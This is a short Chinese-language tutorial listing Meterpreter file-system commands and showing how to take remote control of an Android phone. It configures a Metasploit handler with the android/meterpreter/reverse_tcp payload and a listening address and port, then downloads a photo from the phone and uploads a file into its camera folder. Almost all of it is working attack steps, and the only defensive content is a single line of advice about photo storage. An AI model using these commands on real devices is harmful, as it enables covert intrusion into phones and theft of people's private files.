
文件系统命令

Command Description

cat 读取并输出到标准输出文件的内容

cd 更改目录

checksum 检索文件的校验和

cp 将源复制到目标

dir 列表文件（ls 的别名）

download 从目标系统文件下载

edit 用 vim 编辑文件

getlwd 打印本地目录

getwd 打印工作目录

lcd 更改本地目录

lls 列出本地文件

lpwd 打印本地工作目录

ls 列出文件

mkdir 创建目录

mv 将源移动到目标

pwd 输出工作目录

rm 删除文件

rmdir 目标系统上删除目录

search 搜索文件

upload 上传文件或目录
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开启监听，远程连接手机

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.3.115
set lport 5555

搜索文件：

meterpreter > search -h

下载文件：

download IMG_20191221_112351.jpg

下载的文件存放位置
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上传文件：

upload /root/Downloads/1.jpeg /storage/emulated/0/DCIM/Camera

安全建议：

不要在手机相册中存放敏感图片，用完立即删除
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